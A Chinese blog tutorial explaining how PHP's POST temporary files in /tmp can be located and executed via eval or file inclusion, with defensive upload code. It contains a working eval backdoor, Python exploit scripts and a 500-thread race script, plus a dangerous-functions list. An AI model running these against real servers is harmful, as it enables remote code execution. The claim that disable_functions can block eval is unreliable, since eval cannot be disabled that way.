利用PHP的POST临时文件机制,攻击者是如何实现任意文件上传

354 阅读2分钟

在PHP中,POST请求上传文件是常见的功能,但如果处理不当,攻击者可以利用PHP的POST临时文件机制,实现任意文件上传。这不仅带来严重的安全隐患,还可能导致服务器被入侵。本文将详细讲解这种攻击方式的原理和防御措施,并通过实例展示攻击过程。

PHP文件上传机制简介

在PHP中,当通过POST请求上传文件时,即使代码中没有明确处理文件上传的逻辑,PHP也会自动将文件保存为临时文件。该文件默认存储在/tmp目录中,文件名为php[6个随机字符],例如phpG4ef0q。若请求正常结束,临时文件会被自动删除;但如果请求异常结束,临时文件可能会被永久保留。

攻击原理

在文件包含漏洞中,当无法找到可以利用的文件时,攻击者可以利用PHP的临时文件机制,通过上传文件获得临时文件名,并进行文件包含攻击。以下是几种获取临时文件名的方法:

  1. 通过$_FILES数组获取
  2. 通过phpinfo页面获取
  3. 通过glob函数获取

上述介绍看似简单,但存在一些潜在的安全问题。攻击者可以利用这些漏洞上传任意文件,从而在服务器上执行恶意代码。主要的攻击手段包括:

  1. 绕过文件类型检查:攻击者可以上传带有合法扩展名的恶意文件,比如一个包含PHP代码的图片文件。
  2. 文件覆盖:攻击者可以上传一个与已有文件同名的文件,从而覆盖原有文件。
  3. 文件路径注入:攻击者可以通过操控文件名实现目录遍历,上传文件到任意位置。

通过$_FILES数组获取

当上传文件时,PHP会将文件信息存储在$_FILES数组中。攻击者可以通过该数组获取临时文件名。

Array
(
    [name] => run.sh
    [full_path] => run.sh
    [type] => 
    [tmp_name] => /tmp/phpoFnbQf
    [error] => 0
    [size] => 10
)

通过phpinfo页面获取

phpinfo页面会打印当前请求上下文中的所有变量。攻击者可以向phpinfo页面发送包含文件的POST请求,从返回包中获取$_FILES变量的内容,从而获得临时文件名。

完整的安全文件上传代码

结合上述防御措施,以下是一个完整的安全文件上传示例:

<?php
$target_dir = __DIR__ . '/uploads/';
if (!is_dir($target_dir)) {
    mkdir($target_dir, 0755, true);
}

$filename = basename($_FILES["fileToUpload"]["name"]);
$filename = uniqid() . '-' . $filename;
$target_file = $target_dir . $filename;
$uploadOk = 1;

// 检查文件大小
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}

// 检查文件MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["fileToUpload"]["tmp_name"]);
finfo_close($finfo);

$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime_types)) {
    echo "Invalid file type.";
    $uploadOk = 0;
}

// 检查$uploadOk是否被设置为0
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file ". htmlspecialchars($filename). " has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>

通过glob函数获取

如果上述方法无法实施,攻击者还可以通过Linux中的glob通配符定位文件。glob函数支持多种通配符,用于匹配文件名。


* :代替 0 个或 任意个字符
? :代替 1 个字符
[...]:匹配其中一个字符,例 [a,b,c] 匹配字符 a / b / c
{a, b}:匹配 a 或者 b

利用临时文件进行攻击

组合请求

攻击者可以将文件上传和执行shell组合在一个请求中,利用临时文件执行恶意代码。以下是一个示例PHP代码:


# a.php
<?php
  $code = $_GET['code'];
  eval($code);
?>

利用Python脚本上传文件并执行shell命令:


# run.sh 文件内容:
# echo $PATH

import requests

# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"

r = requests.post(url, files={'file': open('./run.sh')})

print(r.text)

# 输出结果:
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

延长临时文件存在时间

某些情况下,无法将上传文件和执行shell组合在一起。攻击者可以通过文件包含让PHP自身包含自身,导致死循环,从而延长临时文件存在时间。这可以通过编写并发脚本,不断发起POST文件请求来实现。


import requests
from threading import Thread

def test():
    url = "http://localhost:8080/include.php?file=include.php"
    r = requests.post(url, files={'file': open('./run.sh')})
    print(r.text)

lst = []
for _ in range(500):
    t = Thread(target=test)
    lst.append(t)
    t.start()

for item in lst:
    item.join()

在请求过程中,磁盘中总会存在尚未被删除的临时文件,直至请求停止,文件才被全部删除。此时,攻击者可以在其他地方使用glob路径通配符加载临时文件。


import requests

url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"

r = requests.get(url)

print(r.text)

# 输出结果:
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

防御措施

为了防止上述攻击,需要采取一系列防御措施:

  1. 严格验证上传文件类型和大小
  2. 对上传的文件名进行处理
  3. 限制上传文件的存储目录
  4. 禁用危险的PHP函数

严格验证上传文件类型和大小

通过MIME类型和文件内容检查,确保上传文件符合预期。


<?php
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["fileToUpload"]["tmp_name"]);
finfo_close($finfo);

if (!in_array($mime, $allowed_mime_types)) {
    echo "Invalid file type.";
    exit;
}

// 检查文件大小
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    exit;
}
?>

对上传的文件名进行处理

生成唯一文件名,避免文件覆盖和路径注入。


<?php
$filename = uniqid() . '-' . basename($_FILES["fileToUpload"]["name"]);
$target_file = __DIR__ . '/uploads/' . $filename;
?>

限制上传文件的存储目录

将上传的文件存储在受限目录,避免目录遍历。


<?php
$target_dir = __DIR__ . '/uploads/';
if (!is_dir($target_dir)) {
    mkdir($target_dir, 0755, true);
}
?>

禁用危险的PHP函数

禁用eval等危险函数,防止代码执行漏洞。


disable_functions = "eval,exec,shell_exec,passthru,system"

结论

通过本文的讲解,我们了解了PHP的POST临时文件机制,以及攻击者如何利用该机制实现任意文件上传。通过严格验证文件类型和大小、处理文件名、限制存储目录和禁用危险函数,可以有效防止此类攻击。希望开发者在实现文件上传功能时,能充分考虑安全性,避免潜在的安全隐患。